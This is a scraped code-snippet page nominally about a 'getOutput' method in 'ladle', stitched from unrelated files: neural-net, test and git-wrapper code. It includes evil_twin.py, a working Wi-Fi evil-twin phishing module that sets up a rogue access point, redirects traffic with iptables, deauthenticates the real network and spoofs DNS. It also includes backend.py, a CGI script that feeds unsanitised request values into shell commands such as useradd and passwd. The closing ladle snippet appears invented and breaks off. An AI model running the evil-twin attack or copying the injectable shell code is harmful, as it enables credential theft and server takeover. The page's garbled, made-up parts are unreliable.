How to use getOutput method in ladle

Best JavaScript code snippet using ladle

evil_twin.py

Source:evil_twin.py Github

copy

Full Screen

1# This module requires katana framework 2# https://github.com/PowerScript/KatanaFramework3# :-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-: #4# Katana Core import #5from core.KatanaFramework import * #6# :-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-: #7# LIBRARIES 8import commands,socket,time9# END LIBRARIES 10# INFORMATION MODULE11def init():12 init.Author ="RedToor"13 init.Version ="1.0"14 init.Description ="Wifi Phising (evil twin)"15 init.CodeName ="wifi/ev.twin"16 init.DateCreation ="31/05/2016" 17 init.LastModification ="25/12/2016"18 init.References =None19 init.License =KTF_LINCENSE20 init.var ={}21 # DEFAULT OPTIONS MODULE22 init.options = {23 # NAME VALUE RQ DESCRIPTION24 'drive' :[INTERFACE_DEVICE ,True ,'Interface'],25 'driveMon':[INTERFACE_MONITOR ,True ,'Monitor Interface'],26 'essid' :["movil_wifi" ,True ,'AP Essid'],27 'bssid' :[MAC_TARGET ,True ,'AP Mac Address'],28 'template':["files/wifi/tmp/neutral/" ,True ,'Files Phising'],29 'channel' :["11" ,True ,'Channel AP']30 }31 # EXTRA OPTIONS MODULE32 init.extra = {33 # NAME VALUE RQ DESCRIPTION34 'ip_range':["192.168.1.1" ,False,'Ip Range']35 }36 # AUX INFORMATION MODULE37 init.aux = "\n Devices Founds: "+str(NET.GetInterfacesOnSystem())38 init.aux += "\n Monitors Inter: "+str(NET.GetMonitorInterfaces())39 init.aux += "\n Functions : For Scan Ap's, type 'f::getaps(Monitor_Interface,Time)"40 init.aux += "\n For Start Monitor Mode, type 'f::startmonitormode(Interface)\n" 41 return init42# END INFORMATION MODULE43# CODE MODULE ############################################################################################44def main(run):45 if InterfaceSupportAPMode():46 Loadingfile(init.var['template'])47 process=commands.getoutput("airmon-ng check $INTERFACE | tail -n +8 | grep -v \"on interface\" | awk '{ print $2 }'")48 printk.inf("Killing proccess on interface")49 process=process.split("\n")50 for p in process:51 commands.getoutput("killall "+p)52 rangos=init.var['ip_range'].split(".")53 rango=rangos[0]+"."+rangos[1]+"."+rangos[3]+".1"54 rangov=rangos[0]+"."+rangos[1]+"."+rangos[3]55 printk.inf("Setting tables ["+rango+"]")56 commands.getoutput("ifconfig "+init.var['drive']+" up")57 commands.getoutput("ifconfig "+init.var['drive']+" "+init.var['ip_range']+" netmask 255.255.255.0")58 commands.getoutput("route add -net "+rango+" netmask 255.255.255.0 gw "+init.var['ip_range'])59 commands.getoutput("echo \"1\" > /proc/sys/net/ipv4/ip_forward")60 commands.getoutput("iptables --flush")61 commands.getoutput("iptables --table nat --flush")62 commands.getoutput("iptables --delete-chain")63 commands.getoutput("iptables --table nat --delete-chain")64 commands.getoutput("iptables -P FORWARD ACCEPT")65 commands.getoutput("iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination "+init.var['ip_range']+":80")66 commands.getoutput("iptables -t nat -A POSTROUTING -j MASQUERADE")67 commands.getoutput("echo interface="+init.var['drive']+" > tmp/hostapd.conf")68 commands.getoutput("echo driver=nl80211 >> tmp/hostapd.conf")69 commands.getoutput("echo ssid="+init.var['essid']+" >> tmp/hostapd.conf")70 commands.getoutput("echo channel="+init.var['channel']+" >> tmp/hostapd.conf")71 commands.getoutput("echo authoritative\;> tmp/dhcpd.config")72 commands.getoutput("echo default-lease-time 600\;>> tmp/dhcpd.config")73 commands.getoutput("echo max-lease-time 7200\;>> tmp/dhcpd.config")74 commands.getoutput("echo subnet "+rangov+".0 netmask 255.255.255.0 { >> tmp/dhcpd.config")75 commands.getoutput("echo option broadcast-address "+rangov+".255\;>> tmp/dhcpd.config")76 commands.getoutput("echo option routers "+rango+"\;>> tmp/dhcpd.config")77 commands.getoutput("echo option subnet-mask 255.255.255.0\;>> tmp/dhcpd.config")78 commands.getoutput("echo option domain-name-servers "+rango+"\;>> tmp/dhcpd.config")79 commands.getoutput("echo range "+rangov+".100 "+rangov+".250\;>> tmp/dhcpd.config")80 commands.getoutput("echo }>> tmp/dhcpd.config")81 commands.getoutput("echo "+init.var['bssid']+" > tmp/target.log")82 #printk.inf("Starting Apache Server "+status_cmd("service apache2 start"))83 #printk.inf("Coping Files to Server "+status_cmd("cp -r "+init.var['template']+"* "+PATCH_WWW))84 #printk.inf("Starting Access Point ["+init.var['essid']+"]")85 SYSTEM.Subprocess("hostapd tmp/hostapd.conf")86 time.sleep(3)87 printk.inf("Starting DHCP server")88 SYSTEM.Subprocess("dhcpd -d -f -cf tmp/dhcpd.config")89 time.sleep(3)90 printk.inf("Starting DOS attack to "+init.var['bssid'])91 SYSTEM.Subprocess("mdk3 "+init.var['driveMon']+" d -b tmp/target.log -c "+init.var['channel'])92 raw_input(printk.pkey("if you want to stop AP (PRESS [ENTER])"))93 DNSFAKE()94 SYSTEM.KillProcess("dhcpd")95 SYSTEM.KillProcess("hostapd")96 SYSTEM.KillProcess("mdk3")97 SYSTEM.KillProcess("NetworkManager start")98 commands.getoutput("iptables --flush")99 commands.getoutput("iptables --table nat --flush")100 commands.getoutput("iptables --delete-chain")101 commands.getoutput("iptables --table nat --delete-chain")102 for p in process:103 commands.getoutput("service "+p+" start")104 #printk.inf("Removing files "+status_cmd("rm -r "+PATCH_WWW+"* ; rm tmp/hostapd.conf; rm tmp/dhcpd.config; rm tmp/target.log"))105 #printk.inf("Stoping Apache Server "+status_cmd("service apache2 stop"))106 Space()107# CODE MODULE ############################################################################################108# THIS SCRIPT IS OF LINSET PROJECT 109class DNSQuery:110 def __init__(self, data):111 self.data=data112 self.dominio=''113 tipo = (ord(data[2]) >> 3) & 15 114 if tipo == 0: 115 ini=12116 lon=ord(data[ini])117 while lon != 0:118 self.dominio+=data[ini+1:ini+lon+1]+'.'119 ini+=lon+1120 lon=ord(data[ini])121 def respuesta(self, ip):122 packet=''123 if self.dominio:124 packet+=self.data[:2] + "\x81\x80"125 packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' 126 packet+=self.data[12:] 127 packet+='\xc0\x0c' 128 packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' 129 packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) 130 return packet131def DNSFAKE():132 ip=init.var['ip_range']133 udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)134 udps.bind(('',53))135 136 try:137 while 1:138 data, addr = udps.recvfrom(1024)139 p=DNSQuery(data)140 udps.sendto(p.respuesta(ip), addr)141 print " | from "+str(addr[0])+' Request: %s -> %s' % (p.dominio, ip)142 except KeyboardInterrupt:143 printk.inf('Stoping')...

Full Screen

Full Screen

backend.py

Source:backend.py Github

copy

Full Screen

1#!/usr/bin/python32import subprocess as sp3import cgi4print('content-type: text/html')5print()6data = cgi.FieldStorage()7a = data.getvalue('a')8if a=='linux-1':9 x = data.getvalue('x')10 output = sp.getoutput('mkdir {}'.format(x))11elif a == 'linux-2':12 output = sp.getoutput('ls')13 print()14 print(output)15elif a == 'linux-3':16 x = data.getvalue('x')17 output = sp.getoutput('touch {}'.format(x))18elif a == 'linux-4':19 x = data.getvalue('x')20 output = sp.getoutput('cat {}'.format(x))21elif a == 'linux-5':22 x = data.getvalue('x')23 output = sp.getoutput('useradd {}'.format(x))24 print(output)25elif a == 'linux-6':26 x = data.getvalue('x')27 output = sp.getoutput('passwd {}'.format(x))28 print(output)29elif a == 'linux-7':30 output = sp.getoutput('free -m')31 print(output)32elif a == 'linux-8':33 output = sp.getoutput('df -hT')34 print(output)35elif a == 'linux-9':36 x = data.getvalue('x')37 output = sp.getoutput('rpm -q {}'.format(x))38 print(output)39elif a == 'linux-10':40 x = data.getvalue('x')41 output = sp.getoutput('rpm -e {}'.format(x))42 print(output)43elif a == 'linux-11':44 output = sp.getoutput('ifconfig enp0s3')45 print(output)46elif a == 'linux-12':47 output = sp.getoutput('jps')48 print(output)49elif a == 'linux-13':50 output = sp.getoutput('lscpu')51 print(output)52elif a == 'linux-14':53 output = sp.getoutput('ps -aux')54 print(output)55elif a == 'linux-15':56 output = sp.getoutput('uptime')57 print(output)58elif a == 'linux-16':59 output = sp.getoutput('echo 3 > /proc/sys/vm/drop_caches')60 print(output)61elif a == 'linux-17':62 x = data.getvalue('x')63 output = sp.getoutput('yum whatprovides {}'.format(x))64 print(output)65elif a == 'linux-18':66 x = data.getvalue('x')67 output = sp.getoutput('ping {}'.format(x))68 print(output)69elif a == 'linux-19':70 x = data.getvalue('x')71 y = data.getvalue('y')72 output = sp.getoutput('useradd -s {} {}'.format(x,y))73 print(output)74elif a == "linux-20":75 x = data.getvalue('x')76 output = sp.getoutput('date')77 print(output)78elif a == 'aws-1':79 output = sp.getoutput('aws configure')80 print(output)81elif a == 'aws-2':82 x = data.getvalue('x')83 output = sp.getoutput('aws ec2 create-key-pair --key-name {}'.format(x))84 print(output)85elif a == 'aws-3':86 x = data.getvalue('x')87 output = sp.getoutput('aws ec2 create-security-group --group-name {}'.format(x))88 print(output)89elif a == 'aws-4':90 x = data.getvalue('x')91 y = data.getvalue('y')92 z = data.getvalue('z')93 b = data.getvalue('b')94 c = data.getvalue('c')95 d = data.getvalue('d')96 output = sp.getoutput('aws ec2 run-instances --image-id {} --instance-type {} --count {} --subnet-id {} --key-name {} --security-group-ids {}'.format(x,y,z,b,c,d))97 print(output)98elif a == 'aws-5':99 x = data.getvalue('x')100 y = data.getvalue('y')101 output = sp.getoutput('aws ec2 create-volume --availability-zone {} --no-encrypted --size {}'.format(x,y))102 print(output)103elif a == 'aws-6':104 x = data.getvalue('x')105 y = data.getvalue('y')106 output = sp.getoutput('aws ec2 attach-volume --instance-id {} --volume-id {} --device xvdh'.format(x,y))107 print(output)108elif a == 'aws-7':109 x = data.getvalue('x')110 y = data.getvalue('y')111 output = sp.getoutput('aws s3api create-bucket --bucket {} --region {} --create-bucket-configuration LocationConstraint={}'.format(x,y,y))112 print(output)113elif a == 'docker-1':114 output = sp.getoutput('docker -version')115 print(output)116elif a == 'docker-2':117 x = data.getvalue('x')118 y = data.getvalue('y')119 output = sp.getoutput('docker run -dit --name {} {}'.format(x,y))120 print(output)121elif a == 'docker-3':122 x = data.getvalue('x')123 #y = data.getvalue('y')124 output = sp.getoutput('docker pull {}'.format(x))125 print(output)126elif a == 'docker-4':127 #y = data.getvalue('y')128 output = sp.getoutput('docker ps')129 print(output)130elif a == 'docker-5':131 #y = data.getvalue('y')132 output = sp.getoutput('docker ps -a')133 print(output)134elif a == 'docker-6':135 #y = data.getvalue('y')136 output = sp.getoutput('docker images')137 print(output)138elif a == 'docker-7':139 x = data.getvalue('x')140 #y = data.getvalue('y')141 output = sp.getoutput('docker start {}'.format(x))142 print(output)143elif a == 'docker-8':144 x = data.getvalue('x')145 #y = data.getvalue('y')146 output = sp.getoutput('docker stop {}'.format(x))147 print(output)148elif a == 'docker-9':149 x = data.getvalue('x')150 #y = data.getvalue('y')151 output = sp.getoutput('docker rm {}'.format(x))152 print(output)153elif a == 'docker-10':154 #y = data.getvalue('y')155 output = sp.getoutput('docker stop $(docker ps -aq)')156 print(output)157elif a == 'docker-11':158 #y = data.getvalue('y')159 output = sp.getoutput('docker rm $(docker ps -aq)')160 print(output)161elif a == 'hadoop-1':162 #y = data.getvalue('y')163 output = sp.getoutput('hadoop version')164 print(output)165elif a == 'hadoop-2':166 #y = data.getvalue('y')167 output = sp.getoutput('hadoop namenode -format')168 print(output)169elif a == 'hadoop-3':170 #y = data.getvalue('y')171 output = sp.getoutput('hadoop-daemon.sh start namenode')172 print(output)173elif a == 'hadoop-4':174 #y = data.getvalue('y')175 output = sp.getoutput('hadoop-daemon.sh start datanode')176 print(output)177elif a == 'hadoop-5':178 #y = data.getvalue('y')179 output = sp.getoutput('hadoop dfsadmin -report')180 print(output)181elif a == 'hadoop-6':182 #y = data.getvalue('y')183 output = sp.getoutput('hadoop fs -ls /')184 print(output)185elif a == 'hadoop-7':186 x = data.getvalue('x')187 y = data.getvalue('y')188 output = sp.getoutput('hadoop fs -put {}/{}'.format(x,y))189 print(output)190elif a == 'hadoop-8':191 x = data.getvalue('x')192 #y = data.getvalue('y')193 output = sp.getoutput('hadoop fs -rm /{}'.format(x))194 print(output)195elif a == 'hadoop-9':196 x = data.getvalue('x')197 #y = data.getvalue('y')198 output = sp.getoutput('hadoop fs -cat /{}'.format(x))199 print(output)200elif a == 'hadoop-10':201 x = data.getvalue('x')202 y = data.getvalue('y')203 output = sp.getoutput('hadoop fs -Ddfs.block.size={} -put {} /'.format(x,y))204 print(output)205elif a == 'hadoop-11':206 x = data.getvalue('x')207 #y = data.getvalue('y')208 output = sp.getoutput('hadoop fs -touchz {} /'.format(x))...

Full Screen

Full Screen

main.py

Source:main.py Github

copy

Full Screen

...29 def __str__(self):30 return '{ value =\n' + str(self.value) + ',\n gradient =\n' + str(self.gradient) + '}';31 def __repr__(self):32 return self.__str__();33 def getOutput(self):34 return self35 def takeInput(self, value):36 self.value = value;37 self.gradient = np.zeros_like(value, dtype=np.float)38 def applyGradient(self, step_size):39 self.value = self.value + self.gradient * step_size40 self.gradient = np.zeros_like(self.gradient, dtype=np.float)41 @staticmethod42 def random():43 return Variable(random.random() * 2 - 1);44class Cell:45 def getOutput(self):46 return self.output47class SCell(Cell):48 def __init__(self, input):49 self.input = input50class DCell(Cell):51 def __init__(self, input0, input1):52 self.input0 = input053 self.input1 = input154class AddCell(DCell):55 def forwardPropagation(self):56 self.output = Variable(self.input0.getOutput().value + self.input1.getOutput().value)57 def backwardPropagation(self):58 self.input0.getOutput().gradient += self.output.gradient59 self.input1.getOutput().gradient += self.output.gradient60class MatMulCell(DCell):61 def forwardPropagation(self):62 self.output = Variable(np.dot(self.input0.getOutput().value, self.input1.getOutput().value))63 def backwardPropagation(self):64 self.input0.getOutput().gradient += np.dot(self.output.gradient, self.input1.getOutput().value.T)65 self.input1.getOutput().gradient += np.dot(self.input0.getOutput().value.T, self.output.gradient)66class SoftmaxCell(SCell):67 def forwardPropagation(self):68 self.output = Variable(np.exp(self.input.getOutput().value) / np.sum(np.exp(self.input.getOutput().value)))69 def backwardPropagation(self):70 self.input.getOutput().gradient += -np.sum(self.output.gradient * self.output.value) * self.output.value + self.output.gradient * self.output.value;71class CrossEntropyCell(DCell):72 def forwardPropagation(self):73 self.output = Variable(-np.sum(np.log(self.input0.getOutput().value) * self.input1.getOutput().value))74 def backwardPropagation(self):75 self.input0.getOutput().gradient += self.output.gradient * -self.input1.getOutput().value / self.input0.getOutput().value76 self.input1.getOutput().gradient += self.output.gradient * -np.log(self.input0.getOutput().value)77class Network:78 def __init__(self):79 self.variables = [];80 self.cells = [];81 def getVariablesAmount(self):82 return len(self.variables);83 def getCellsAmount(self):84 return len(self.cells);85 def appendVariable(self, variable):86 self.variables.append(variable);87 def appendCell(self, cell):88 self.cells.append(cell);89 def forwardPropagation(self):90 for cell in self.cells:91 cell.forwardPropagation();92 def backwardPropagation(self):93 for cell in reversed(self.cells):94 # print(cell.getOutput())95 cell.backwardPropagation();96 def applyGradient(self, step_size):97 for variable in self.variables:98 variable.applyGradient(step_size);99# Network100network = Network();101# Variables102W = Variable(np.zeros([784, 10]))103network.appendVariable(W);104B = Variable(np.zeros([1, 10]))105network.appendVariable(B);106# Inputs Layer107X = Variable(np.zeros([1, 784]))108Y = Variable(np.zeros([1, 10]))109# Weighted-Sum110matmulCell = MatMulCell(X, W) # X * W => [10, 1]111network.appendCell(matmulCell)112# Bias113addCell = AddCell(matmulCell, B) # X * W + B => [10, 1]114network.appendCell(addCell)115# Softmax116softmaxCell = SoftmaxCell(addCell) # Softmax(X * W + B) => [10, 1]117network.appendCell(softmaxCell)118# Loss (Cross-entropy)119loss = CrossEntropyCell(softmaxCell, Y) # CrossEntropy(Softmax(X * W + B), Y) => Loss120network.appendCell(loss)121# Training122BATCH_NUMBER = 1000 # BATCH的数量123BATCH_SIZE = 100 # BATCH的大小124LEARNING_RATE = 0.5 #学习速率125for batch_index in range(BATCH_NUMBER ):126 # 构造一个BATCH127 batch_xs = [];128 batch_ys = [];129 for data_index in range(BATCH_SIZE):130 j = random.randint(0, len(images) - 1)131 x = images[j][np.newaxis];132 y = labels[j][np.newaxis];133 batch_xs.append(x);134 batch_ys.append(y);135 # 使用这个BATCH进行训练136 batch_loss = 0137 for data_index in range(BATCH_SIZE):138 x = batch_xs[data_index];139 y = batch_ys[data_index];140 X.takeInput(x);141 Y.takeInput(y);142 network.forwardPropagation() # 正向传播143 batch_loss += loss.getOutput().value # 统计整个BATCH的损失144 loss.getOutput().gradient = -1 / BATCH_SIZE # 整个BATCH统一计算梯度,所以单个数据点的输出梯度只有1/BATCH_SIZE145 network.backwardPropagation() # 反向传播146 147 # 引用梯度148 network.applyGradient(LEARNING_RATE)149 print('batch', batch_index, ', loss =', batch_loss)150# Test151precision = 0152for index in range(len(images_test)):153 x = images_test[index][np.newaxis];154 y = labels_test[index][np.newaxis];155 X.takeInput(x);156 Y.takeInput(y);157 network.forwardPropagation()158 predict = np.argmax(softmaxCell.getOutput().value)159 if predict == np.argmax(y):160 precision += 1 / len(images_test)...

Full Screen

Full Screen

ConsoleReporterSpec.js

Source:ConsoleReporterSpec.js Github

copy

Full Screen

...20 var reporter = new j$.ConsoleReporter({21 print: out.print22 });23 reporter.jasmineStarted();24 expect(out.getOutput()).toEqual("Started\n");25 });26 it("starts the provided timer when jasmine starts", function() {27 var timerSpy = jasmine.createSpyObj('timer', ['start']),28 reporter = new j$.ConsoleReporter({29 print: out.print,30 timer: timerSpy31 });32 reporter.jasmineStarted();33 expect(timerSpy.start).toHaveBeenCalled();34 });35 it("reports a passing spec as a dot", function() {36 var reporter = new j$.ConsoleReporter({37 print: out.print38 });39 reporter.specDone({status: "passed"});40 expect(out.getOutput()).toEqual(".");41 });42 it("does not report a disabled spec", function() {43 var reporter = new j$.ConsoleReporter({44 print: out.print45 });46 reporter.specDone({status: "disabled"});47 expect(out.getOutput()).toEqual("");48 });49 it("reports a failing spec as an 'F'", function() {50 var reporter = new j$.ConsoleReporter({51 print: out.print52 });53 reporter.specDone({status: "failed"});54 expect(out.getOutput()).toEqual("F");55 });56 it("reports a pending spec as a '*'", function() {57 var reporter = new j$.ConsoleReporter({58 print: out.print59 });60 reporter.specDone({status: "pending"});61 expect(out.getOutput()).toEqual("*");62 });63 it("alerts user if there are no specs", function(){64 var reporter = new j$.ConsoleReporter({65 print: out.print66 });67 reporter.jasmineStarted();68 out.clear();69 reporter.jasmineDone();70 expect(out.getOutput()).toMatch(/No specs found/);71 });72 it("reports a summary when done (singular spec and time)", function() {73 var timerSpy = jasmine.createSpyObj('timer', ['start', 'elapsed']),74 reporter = new j$.ConsoleReporter({75 print: out.print,76 timer: timerSpy77 });78 reporter.jasmineStarted();79 reporter.specDone({status: "passed"});80 timerSpy.elapsed.and.returnValue(1000);81 out.clear();82 reporter.jasmineDone();83 expect(out.getOutput()).toMatch(/1 spec, 0 failures/);84 expect(out.getOutput()).not.toMatch(/0 pending specs/);85 expect(out.getOutput()).toMatch("Finished in 1 second\n");86 });87 it("reports a summary when done (pluralized specs and seconds)", function() {88 var timerSpy = jasmine.createSpyObj('timer', ['start', 'elapsed']),89 reporter = new j$.ConsoleReporter({90 print: out.print,91 timer: timerSpy92 });93 reporter.jasmineStarted();94 reporter.specDone({status: "passed"});95 reporter.specDone({status: "pending"});96 reporter.specDone({97 status: "failed",98 description: "with a failing spec",99 fullName: "A suite with a failing spec",100 failedExpectations: [101 {102 passed: false,103 message: "Expected true to be false.",104 expected: false,105 actual: true,106 stack: "foo\nbar\nbaz"107 }108 ]109 });110 out.clear();111 timerSpy.elapsed.and.returnValue(100);112 reporter.jasmineDone();113 expect(out.getOutput()).toMatch(/3 specs, 1 failure, 1 pending spec/);114 expect(out.getOutput()).toMatch("Finished in 0.1 seconds\n");115 });116 it("reports a summary when done that includes stack traces for a failing suite", function() {117 var reporter = new j$.ConsoleReporter({118 print: out.print119 });120 reporter.jasmineStarted();121 reporter.specDone({status: "passed"});122 reporter.specDone({123 status: "failed",124 description: "with a failing spec",125 fullName: "A suite with a failing spec",126 failedExpectations: [127 {128 passed: false,129 message: "Expected true to be false.",130 expected: false,131 actual: true,132 stack: "foo bar baz"133 }134 ]135 });136 out.clear();137 reporter.jasmineDone({});138 expect(out.getOutput()).toMatch(/true to be false/);139 expect(out.getOutput()).toMatch(/foo bar baz/);140 });141 it("calls the onComplete callback when the suite is done", function() {142 var onComplete = jasmine.createSpy('onComplete'),143 reporter = new j$.ConsoleReporter({144 print: out.print,145 onComplete: onComplete146 });147 reporter.jasmineDone({});148 expect(onComplete).toHaveBeenCalled();149 });150 describe("with color", function() {151 it("reports that the suite has started to the console", function() {152 var reporter = new j$.ConsoleReporter({153 print: out.print,154 showColors: true155 });156 reporter.jasmineStarted();157 expect(out.getOutput()).toEqual("Started\n");158 });159 it("reports a passing spec as a dot", function() {160 var reporter = new j$.ConsoleReporter({161 print: out.print,162 showColors: true163 });164 reporter.specDone({status: "passed"});165 expect(out.getOutput()).toEqual("\x1B[32m.\x1B[0m");166 });167 it("does not report a disabled spec", function() {168 var reporter = new j$.ConsoleReporter({169 print: out.print,170 showColors: true171 });172 reporter.specDone({status: 'disabled'});173 expect(out.getOutput()).toEqual("");174 });175 it("reports a failing spec as an 'F'", function() {176 var reporter = new j$.ConsoleReporter({177 print: out.print,178 showColors: true179 });180 reporter.specDone({status: 'failed'});181 expect(out.getOutput()).toEqual("\x1B[31mF\x1B[0m");182 });183 });...

Full Screen

Full Screen

gitWrapper.ts

Source:gitWrapper.ts Github

copy

Full Screen

...11export async function isGitRepo(directory: string): Promise<boolean> {12 const logger = getLogger();13 logger.trace(`isGitRepo: ${directory}`);14 try {15 await helpers.getOutput('git', ['rev-parse', '--git-dir'], {cwd: directory});16 return true;17 } catch(e) {18 return false;19 }20}21export async function isGitLfsAvailable() {22 return helpers.getOutput('git', ['lfs'])23 .then(() => {24 return helpers.getOutput('git', ['config', '--list'])25 })26 .then(gitConfig => {27 if (gitConfig.indexOf('filter.lfs.clean=') === -128 || gitConfig.indexOf('filter.lfs.smudge=') === -129 || gitConfig.indexOf('filter.lfs.process=') === -1) {30 throw new Error();31 }32 })33 .then(() => true, () => {throw new GitLfsNotAvailableError})34}35/**36 * Returns contents of older revision of files37 * age == 1 means latest revision, age == 2 means previous, and so on38 */39export async function olderRevision(40 gitDirectory: string, filenames: Array<string | null>, age: number41): Promise<Array<string | null>> {42 const gitRoot = await resolveGitRoot(gitDirectory);43 const relativeFilenames = filenames.map(filename => {44 if (typeof filename === 'string') {45 if (!path.isAbsolute(filename)) {46 return path.relative(gitRoot, path.resolve(gitDirectory, filename));47 }48 return path.relative(gitRoot, filename);49 }50 return null;51 });52 const gitArgs = ['--no-pager', 'log', `-${age}`, '--pretty=format:%h'].concat(53 relativeFilenames.filter(filename => typeof filename === 'string') as string[]54 );55 const revisionsText = await helpers.getOutput('git', gitArgs, {56 cwd: gitRoot,57 });58 const revisions = revisionsText.trim().split('\n');59 if (revisions.length < age) {60 throw new TooOldRevisionError();61 }62 return Promise.all(relativeFilenames.map(filename => {63 if (typeof filename === 'string') {64 return helpers.getOutput(65 'git',66 ['--no-pager', 'show', revisions[revisions.length - 1] + ':' + filename],67 {68 cwd: gitRoot,69 }70 );71 } else {72 return Promise.resolve(null);73 }74 }));75}76export async function clone(repo: string, directory: string) {77 return helpers.getOutput('git', ['clone', repo, directory], {78 stdout: StdioPolicy.copy, stderr: StdioPolicy.inherit79 });80}81export async function fetch(gitDirectory: string) {82 return helpers.getOutput('git', ['fetch', '--tags'], {83 cwd: gitDirectory, stdout: StdioPolicy.copy, stderr: StdioPolicy.inherit84 });85}86export async function lfsPull(gitDirectory: string) {87 return helpers.getOutput('git', ['lfs', 'pull'], {88 cwd: gitDirectory, stdout: StdioPolicy.copy, stderr: StdioPolicy.inherit89 });90}91export async function checkout(gitDirectory: string, gitId: string) {92 return helpers.getOutput('git', ['checkout', gitId], {cwd: gitDirectory});93}94export async function add(gitDirectory: string, paths: string[], force = false) {95 const args = ['add'];96 if (force) {97 args.push('--force');98 }99 return helpers.getOutput('git', args.concat(paths), {cwd: gitDirectory});100}101export async function commit(gitDirectory: string, message: string) {102 return helpers.getOutput('git', ['commit', '-m', message], {cwd: gitDirectory});103}104export async function push(gitDirectory: string, gitId: string) {105 return helpers.getOutput('git', ['remote'], {cwd: gitDirectory})106 .then(remote => {107 return helpers.getOutput(108 'git',109 ['push', remote.trim(), gitId],110 {cwd: gitDirectory, stdout: StdioPolicy.copy, stderr: StdioPolicy.inherit}111 );112 }).catch(error => {113 if (!(error instanceof helpers.CommandReturnedNonZeroError)) {114 throw error;115 }116 if (error.output.indexOf(' already exists') !== -1) {117 throw new RefAlreadyExistsError();118 }119 throw error;120 });121}122export async function tag(gitDirectory: string, tagName: string) {123 return helpers.getOutput('git', ['tag', tagName], {cwd: gitDirectory})124 .catch(error => {125 if (!(error instanceof helpers.CommandReturnedNonZeroError)) {126 throw error;127 }128 if (error.output.indexOf(' already exists') !== -1) {129 throw new RefAlreadyExistsError();130 }131 throw error;132 });133}134export async function resetToRemote(gitDirectory: string, branch: string) {135 return helpers.getOutput('git', ['remote'], {cwd: gitDirectory})136 .then(remote =>137 helpers.getOutput(138 'git',139 ['reset', '--hard', `${remote.trim()}/${branch}`],140 {cwd: gitDirectory, stdout: StdioPolicy.copy, stderr: StdioPolicy.inherit}141 )142 );143}144async function resolveGitRoot(directory: string): Promise<string> {145 return (await helpers.getOutput('git', ['rev-parse', '--show-toplevel'], {cwd: directory})).trim();...

Full Screen

Full Screen

treeComponents.js

Source:treeComponents.js Github

copy

Full Screen

...10 });11 return [["GraftComponent",function(){12 it("Should accept individual connections from number, point, and boolean components",function(){13 expect(function(){14 graftComponent["T"].connectOutput(numberComponent.getOutput());15 graftComponent["T"].connectOutput(booleanTrueComponent.getOutput());16 graftComponent["T"].connectOutput(mixedBooleanToggleComponent.getOutput());17 graftComponent["T"].connectOutput(pointComponent.getOutput());18 }).not.toThrow();19 expect(_.keys(graftComponent.inputs[0]._listeningTo).length).toEqual(1);20 });21 it("Accepts multiple simultaneous connections from number, point, and boolean components",function(){22 expect(function(){23 graftComponent["T"].connectAdditionalOutput(numberComponent.getOutput());24 graftComponent["T"].connectAdditionalOutput(booleanTrueComponent.getOutput());25 graftComponent["T"].connectAdditionalOutput(mixedBooleanToggleComponent.getOutput());26 graftComponent["T"].connectAdditionalOutput(pointComponent.getOutput());27 }).not.toThrow();28 expect(_.keys(graftComponent.inputs[0]._listeningTo).length).toEqual(4);29 });30 it("Triggers recalculation for upstream changes",function(){31 graftComponent["T"].connectOutput(numberComponent.getOutput());32 // check up on a couple key phases of the data bubbling. Can only spy on one thing at a time, so we need to assignPersistedData() twice33 spyOn(graftComponent.getOutput(),'replaceData');34 numberComponent.getInput("N").assignPersistedData([0,1,1,0,0,1,1,0,0,1]);35 expect(graftComponent.getOutput().replaceData).not.toHaveBeenCalled();36 spyOn(graftComponent,'simulatedRecalculate');37 numberComponent.getInput("N").assignPersistedData([0,1,1,0,0,1,1,0,0,1]);38 expect(graftComponent.simulatedRecalculate).toHaveBeenCalled();39 });40 it("Output has grafted data",function(){41 graftComponent["T"].connectOutput(numberComponent.getOutput());42 numberComponent.getInput("N").assignPersistedData([0,1,1,0,0,1,1,0,0,1]);43 expect(graftComponent.getOutput().getTree().dataAtPath([0,0])).toEqual([0]);44 expect(graftComponent.getOutput().getTree().dataAtPath([0,1])).toEqual([1]);45 expect(graftComponent.getOutput().getTree().dataAtPath([0,2])).toEqual([1]);46 expect(graftComponent.getOutput().getTree().dataAtPath([0,3])).toEqual([0]);47 expect(graftComponent.getOutput().getTree().dataAtPath([0,4])).toEqual([0]);48 expect(graftComponent.getOutput().getTree().dataAtPath([0,5])).toEqual([1]);49 expect(graftComponent.getOutput().getTree().dataAtPath([0,6])).toEqual([1]);50 expect(graftComponent.getOutput().getTree().dataAtPath([0,7])).toEqual([0]);51 expect(graftComponent.getOutput().getTree().dataAtPath([0,8])).toEqual([0]);52 expect(graftComponent.getOutput().getTree().dataAtPath([0,9])).toEqual([1]);53 });54 it("Output's grafted data tree data updates when input data tree updates",function(){55 graftComponent["T"].connectOutput(numberComponent.getOutput());56 numberComponent.getInput("N").assignPersistedData([0,1,1]);57 expect(graftComponent.getOutput().getTree().dataAtPath([0,0])).toEqual([0]);58 expect(graftComponent.getOutput().getTree().dataAtPath([0,1])).toEqual([1]);59 expect(graftComponent.getOutput().getTree().dataAtPath([0,2])).toEqual([1]);60 // change inputs, verify outputs have updated61 numberComponent.getInput("N").assignPersistedData([2,3,4]);62 expect(graftComponent.getOutput().getTree().dataAtPath([0,0])).toEqual([2]);63 expect(graftComponent.getOutput().getTree().dataAtPath([0,1])).toEqual([3]);64 expect(graftComponent.getOutput().getTree().dataAtPath([0,2])).toEqual([4]);65 });66 }],["PathMapperComponent",function(){67 it("Should remap like the graft component")68 }]];...

Full Screen

Full Screen

Using AI Code Generation

copy

Full Screen

1var ladle = require('ladle');2var ladleObj = ladle.createLadle();3var command = 'ls';4var args = ['-l'];5var options = {};6ladleObj.getOutput(command, args, options, function(err, data) {7 if (err) {8 console.log(err);9 } else {10 console.log(data);11 }12});13var childProcess = require('child

Full Screen

Using AI Code Generation

copy

Full Screen

